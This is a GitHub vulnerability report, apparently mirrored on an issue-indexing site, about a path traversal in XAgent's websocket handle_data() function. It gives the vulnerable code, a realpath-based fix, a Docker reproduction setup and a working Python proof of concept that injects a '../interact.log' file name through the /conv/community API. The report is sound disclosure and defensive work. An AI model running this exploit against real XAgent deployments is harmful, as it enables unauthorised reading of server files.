OpenBMB / OpenBMB/XAgent

[Vulnerability] Path Traversal in /ws/base endpoint

Open
#437 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

bug
Dominant language
Python
Stars
8.5k
Forks
905
PR merge metrics
No merged PRs in 30d

Description

Vulnerability report: XAgent path traversal

Affected product

Vendor: OpenBMB

Product: XAgent

Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py

Version: 3619c25855f878481ddb893709c1e30d76aff794

Vulnerability summary

MainServer.send_data() sends pending interaction records to the websocket client and calls handle_data() to enrich notebook image outputs. The handle_data() function treats file_name from the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.

The vulnerable function call chain is:

MainServer.send_data()
  -> handle_data()

The vulnerable data flow is:

send_data function:
  InteractionCRUD.get_next_send
  -> rows
  -> row

handle_data function:
  row
  -> row.data
  -> data["using_tools"]
  -> using_tools["tool_output"]
  -> tool_output
  -> output
  -> output["file_name"]
  -> file_name
  -> file_path

An authenticated user can first pollute the database through the /conv/community API by submitting a crafted raws JSON payload. The inserted Raw record can contain data.using_tools.tool_output[*].file_name with a path traversal value such as ../interact.log. After that, connecting to /ws/base/{interaction_id} and sending a normal websocket message triggers send_data(), which fetches the crafted Raw record and passes it into handle_data().

The vulnerable code is in
XAgentServer/application/websockets/common.py:

file_path = os.path.join(root_dir, "workspace", file_name)
if os.path.exists(file_path):
    try:
        with open(file_path, "rb") as f:
            png_base64 = base64.b64encode(
                f.read()).decode("utf-8")
    except Exception:
        pass

Because file_name is not restricted to a basename and the resolved path is not checked against the workspace directory, ../ escapes the workspace and allows reading files outside the intended directory.

Suggested fix

Add a security check in handle_data function. Code snippet:

for output in tool_output:
    ...
    workspace = os.path.realpath(os.path.join(root_dir, "workspace"))
    file_path = os.path.realpath(os.path.join(workspace, file_name))
    if not file_path.startswith(workspace + os.sep):
        print("path traversal detected !")
        continue

POC

Prerequisites:

The PoC uses the real XAgent Docker services, MySQL, Redis, the /conv/community HTTP API, and the /ws/base/{interaction_id} websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floating mysql image.

cd your-path-to/XAgent

Step 1: Start XAgent and the required databases.

sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  up -d

Check that the services are running:

sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  ps

Expected important services:

xagentrepro-XAgentServer-1        Up
xagentrepro-xagent-mysql-1        healthy
xagentrepro-xagent-redis-1        healthy

The backend listens on:

http://127.0.0.1:8090
ws://127.0.0.1:8090/ws/base/{interaction_id}

Step 2: Send the PoC payload through the community API and trigger send_data().

python3 your-path-to/poc/community_ws_poc.py

The script performs both actions:

POST /conv/community
  -> inserts a crafted interaction and Raw record into MySQL through the HTTP API

websocket /ws/base/{interaction_id}
  -> sends a normal type=data message
  -> starts the scheduler
  -> triggers send_data()
  -> send_data() fetches the malicious Raw row
  -> handle_data() reads workspace/../interact.log

The crafted Raw record contains:

{
  "data": {
    "using_tools": {
      "tool_name": "PythonNotebook_execute_cell",
      "tool_output": [
        {
          "file_name": "../interact.log"
        }
      ]
    }
  },
  "include_pictures": true,
  "is_send": false
}

Successful output contains:

community_status 200 {"data":null,"success":true,"message":"success"}
"interaction_id": "..."
...
read_content: 2026-... 
poc_success True

read_content contains the contents of interact.log, which is outside the workspace directory. This confirms that handle_data() read a path traversed by ../interact.log.

reference related files

The PoC files are listed below:

  • community_ws_poc.py
import asyncio
import base64
import datetime
import io
import json
import time
import uuid
import zipfile

import requests
import websockets


BASE = "http://127.0.0.1:8090"
USER = "guest"
TOKEN = "xagent"


def make_empty_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED):
        pass
    buf.seek(0)
    return buf


def insert_via_community():
    interaction_id = uuid.uuid4().hex
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    malicious_node = uuid.uuid4().hex
    finish_node = uuid.uuid4().hex

    interaction = {
        "interaction_id": interaction_id,
        "user_id": USER,
        "create_time": now,
        "update_time": now,
        "description": "community-poc",
        "agent": "",
        "mode": "manual",
        "file_list": [],
        "recorder_root_dir": "",
        "status": "ready",
        "message": "ready...",
        "current_step": "-1",
        "is_deleted": False,
        "call_method": "web",
    }
    raws = [
        {
            "node_id": malicious_node,
            "interaction_id": interaction_id,
            "current": "community-poc",
            "step": 0,
            "data": {
                "using_tools": {
                    "tool_name": "PythonNotebook_execute_cell",
                    "tool_input": "{}",
                    "tool_output": [{"file_name": "../interact.log"}],
                    "tool_status_code": "TOOL_CALL_SUCCESS",
                }
            },
            "file_list": [],
            "status": "inner",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": True,
        },
        {
            "node_id": finish_node,
            "interaction_id": interaction_id,
            "current": "finish",
            "step": 1,
            "data": {"done": True},
            "file_list": [],
            "status": "finished",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": False,
        },
    ]

    z = make_empty_zip()
    resp = requests.post(
        BASE + "/conv/community",
        data={
            "user_id": USER,
            "token": TOKEN,
            "user_name": "guest",
            "interaction": json.dumps(interaction),
            "raws": json.dumps(raws),
        },
        files={"files": ("workspace.zip", z.getvalue(), "application/zip")},
        timeout=20,
    )
    print("community_status", resp.status_code, resp.text)
    resp.raise_for_status()
    print("interaction_id", interaction_id)
    print("malicious_node", malicious_node)
    return interaction_id


async def trigger_ws(interaction_id):
    url = (
        f"ws://127.0.0.1:8090/ws/base/{interaction_id}"
        f"?user_id={USER}&token={TOKEN}&description=community-poc"
    )
    async with websockets.connect(url, ping_interval=None) as ws:
        first = await ws.recv()
        print("ws_first", first[:500])
        await ws.send(
            json.dumps(
                {
                    "type": "data",
                    "args": {"goal": "trigger send_data only"},
                    "agent": "",
                    "mode": "manual",
                    "file_list": [],
                }
            )
        )
        deadline = time.time() + 20
        while time.time() < deadline:
            msg = await asyncio.wait_for(ws.recv(), timeout=deadline - time.time())
            print("ws_msg", msg)
            obj = json.loads(msg)
            outputs = (
                ((obj.get("data") or {}).get("using_tools") or {}).get("tool_output")
                or []
            )
            if outputs and isinstance(outputs[0], dict) and outputs[0].get("file_data"):
                decoded = base64.b64decode(outputs[0]["file_data"]).decode(
                    errors="replace"
                )
                print("read_content:", decoded[:300])
                print("poc_success", "Receive connection" in decoded or "Send data" in decoded)
                return
        print("poc_success", False)


if __name__ == "__main__":
    iid = insert_via_community()
    asyncio.run(trigger_ws(iid))

  • xagent-compose-repro.yml
services:
  ToolServerManager:
    image: xagentteam/toolserver-manager:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerManager/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config
      - /var/run/docker.sock:/var/run/docker.sock
    environment:
      DB_HOST: db
      DB_PORT: 27017
      DB_USERNAME: admin
      DB_PASSWORD: xagentmongodb
      DB_COLLECTION: TSM
    depends_on:
      - db
    command: ["--workers", "2", "-t", "600"]

  ToolServerNode:
    image: xagentteam/toolserver-node:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerNode/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config

  db:
    image: mongo
    volumes:
      - xagentmongodb:/data/db
    environment:
      MONGO_INITDB_ROOT_USERNAME: admin
      MONGO_INITDB_ROOT_PASSWORD: xagentmongodb
    logging:
      driver: "none"

  XAgentServer:
    image: xagentteam/xagent-server:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/XAgentServer/Dockerfile
    env_file:
      - your-path-to/XAgent/.env
    environment:
      - TOOLSERVER_URL=http://ToolServerManager:8080
      - MYSQL_DB_URL=mysql+pymysql://root:xagent@xagent-mysql:3306/xagent
      - REDIS_HOST=xagent-redis
    volumes:
      - your-path-to/XAgent/assets:/app/assets:ro
    ports:
      - "5173:5173"
      - "8090:8090"
    depends_on:
      xagent-mysql:
        condition: service_healthy
      xagent-redis:
        condition: service_healthy

  xagent-mysql:
    image: mysql:8.0
    command:
      - --default-authentication-plugin=caching_sha2_password
      - --character-set-server=utf8mb4
      - --collation-server=utf8mb4_unicode_ci
    environment:
      MYSQL_ROOT_PASSWORD: xagent
    volumes:
      - your-path-to/XAgent/XAgentServer/database/sql:/docker-entrypoint-initdb.d
    healthcheck:
      test: ["CMD-SHELL", "mysql -h localhost -u root -pxagent -e 'SELECT 1'"]
      timeout: 20s
      retries: 20

  xagent-redis:
    image: redis
    command: redis-server --requirepass xagent
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      timeout: 3s
      retries: 20

volumes:
  xagentmongodb:
  toolserverconfig:
    name: xagentrepro_toolserverconfig
    driver: local
    driver_opts:
      type: none
      device: your-path-to/XAgent/assets/config
      o: bind

networks:
  default:
    name: xagent-repro-network
    driver: bridge

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in XAgentServer/application/websockets/common.py at handle_data(), then trace its caller MainServer.send_data() in XAgentServer/application/websockets/base.py. Run community_ws_poc.py with the provided Docker setup to reproduce the read outside workspace. Done means traversal paths no longer return file contents while valid workspace image outputs still work.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
api, backend, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.